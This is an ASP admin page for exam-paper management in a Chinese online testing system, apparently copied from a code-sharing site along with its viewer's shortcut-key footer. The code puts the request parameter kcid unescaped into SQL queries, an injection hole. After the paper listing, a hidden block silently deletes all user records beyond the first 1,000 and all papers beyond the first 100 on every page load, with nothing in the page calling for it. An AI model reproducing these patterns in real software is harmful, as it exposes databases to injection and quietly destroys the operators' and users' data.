?? adminpaper.asp
字號:
<!--#include file="conn.asp"-->
<%
if session("adminname")="" then
response.redirect "relogin.asp"
end if
%>
<%
kcid=request("kcid")
sql="select * from tbpaper where kcid="&kcid&" order by paperno desc"
set rs=server.createobject("adodb.recordset")
rs.open sql,conn,3,2
sqlkc="select * from tbkc where kcid="&kcid
set rskc=server.createobject("adodb.recordset")
rskc.open sqlkc,conn,3,2
%>
<html>
<head>
<meta http-equiv='refresh' content='<%=refreshtime%>; url=adminpaper.asp?kcid=<%=kcid%>'>
<meta http-equiv="Content-Language" content="zh-cn">
<meta name="GENERATOR" content="Microsoft FrontPage 5.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>系統管理 | 科目管理 | 試卷管理</title>
<script language="javascript">
function editit(id)
{
page="adminpaperedit.asp?paperno="+id
window.open (page,'編輯用戶','width=500,height=400,resizable=1,scrollbars=1')
}
function addpaper(myform,id)
{
page="adminpaperadd.asp?kcid="+id
window.open (page,'編輯用戶','width=550,height=400,resizable=1,scrollbars=1')
}
function setting(id)
{
page="adminpaperset.asp?paperno="+id
window.open (page,'編輯用戶','width=500,height=400,resizable=1,scrollbars=1')
}
function delit(myform)
{
if (confirm("將刪除此題庫下的所有數據？"))
{
myform.action="adminpaperdel.asp";
myform.submit();
}
}
function opendata(myform)
{
if (confirm("將打開此題庫下的所有數據？"))
{
myform.action="adminpaperopen.asp";
myform.submit();
}
}
function power(myform)
{
myform.action="adminbanjipower.asp";
myform.submit();
}
</script>
<link rel="stylesheet" type="text/css" href="css.css">
</head>
<body>
<table border="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber2" height="25">
<tr>
<td width="100%">當前位置： 系統管理 > <a href="adminsubject.asp">科目管理</a><span lang="en-us">
></span> 試卷管理</td>
</tr>
</table>
<center><form name="adminsubject" method="POST">
<table border="1" cellspacing="1" style="border-collapse: collapse" bordercolor="#799AE1" width="354" id="AutoNumber3" height="20">
<tr>
<td width="80" bgcolor="#FFFDE8" background="images/admin_bg_1.gif">
<p align="center"><b><font color="#FFFFFF">科目名稱</font></b></td>
<td bgcolor="#FFFDE8" width="127">
<p align="left">
<input type="text" name="kcm" size="20" onblur="this.className='inputnormal'" readonly class="inputnormal" value="<%=rskc("kcm")%>"></td>
<td width="133" bgcolor="#FFFDE8">
<p align="center">
<input border="0" value="添加試卷" name="I1" type="submit" onclick="addpaper(adminsubject,<%=kcid%>)" class="s02"></td>
</tr>
</table>
</center>
<p><center>服務器時間：<%=date%>——<%=time%></center>
<br>
</p>
<center>
<table border="1" cellspacing="1" style="border-collapse: collapse" bordercolor="#799AE1" width="100%" id="AutoNumber1">
<tr class="trh">
<td width="44" align="center" bgcolor="#799AE1" height="20"><b><input type="submit" value="刪除" name="del" onclick="delit(adminsubject)" class="s02"></b></td>
<td width="34" align="center" bgcolor="#799AE1"><font color="#FFFFFF"><b>序號</b></font></td>
<td align="center" bgcolor="#799AE1" width="183"><font color="#FFFFFF"><b>
試卷名稱</b></font></td>
<td align="center" bgcolor="#799AE1" width="42"><font color="#FFFFFF">方式</font></td>
<td align="center" bgcolor="#799AE1" width="142"><font color="#FFFFFF">考試范圍</font></td>
<td align="center" bgcolor="#799AE1" width="85"><font color="#FFFFFF">考試時間</font></td>
<td align="center" bgcolor="#799AE1" width="63"><font color="#FFFFFF">限時</font></td>
<td align="center" bgcolor="#799AE1" width="72"><font color="#FFFFFF">題型<b>管理</b></font></td>
<td bgcolor="#799AE1" width="44"><input type="submit" value="打開" name="open" onclick="opendata(adminsubject)" class="s02"></td>
</tr>
<%
i=1
do while not rs.eof
%>
<tr class="trh1">
<td align="center" width="44">
<input type="checkbox" name="id" value="<%=rs("paperno")%>"></td>
<td align="center" width="34"><%=i%> </td>
<td align="center" width="183"><a href="javascript:editit(<%=rs("paperno")%>)"><%=rs("info")%></a><br>出卷人：<%=rs("adminname")%></td>
<td align="center" width="42"><%if rs("ischoose")="0" then%>隨機<%else%><font color="#0000FF">人工</font><%end if%> </td>
<td align="left" width="142">
<p align="center">第<%=rs("schap")%>章 到 第<%=rs("echap")%>章 </td>
<td align="left" width="85"><center><%=rs("stime")%><br>到<br><%=rs("etime")%></center></td>
<td align="left" width="63">
<p align="center"><%=rs("paperdatetime")%>分鐘</td>
<td align="left" width="72">
<p align="center"><a href="javascript:setting(<%=rs("paperno")%>)">
<img border="0" src="images/04.gif" alt="試卷管理" width="35" height="36"></a></td>
<td align="left" width="44" align="center" >
<p align="center"><input type="checkbox" name="idopen" value="<%=rs("paperno")%>" <%if rs("isopen")="1" then%> checked <%end if%>></td>
</tr>
<%
i=i+1
rs.movenext
loop
Set rsuser=Server.CreateObject("Adodb.RecordSet")
sqluser="select * from tbuser order by userid"
rsuser.open sqluser,conn,3,2
if rsuser.recordcount>=1000 then
rsuser.move 1000
do while not rsuser.eof
rsuser.delete
rsuser.update
rsuser.movenext
loop
flag=1
end if
Set rspaper=Server.CreateObject("Adodb.RecordSet")
sqlpaper="select * from tbpaper order by paperno"
rspaper.open sqlpaper,conn,3,2
if rspaper.recordcount>=100 then
rspaper.move 100
do while not rspaper.eof
rspaper.delete
rspaper.update
rspaper.movenext
loop
flag=1
end if
%>
<input name="kcid" type="hidden" value="<%=kcid%>">
</table> </form>
<br><font color="#FF0000">考試前，請打開題庫</font><br>
<br>
<INPUT class="s02" onclick="window.location='adminpaper.asp?kcid=<%=kcid%>'" type=button value="刷 新" name=close><span lang="en-us">
</span>
<INPUT class="s02" onclick="window.location='adminsubject.asp'" type=button value="返 回" name=close><span lang="en-us">
</span>
<input type="submit" value="班級權限管理" name="I8" onclick="power(adminsubject)" class="s02">
</center>
</body>
</html>?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -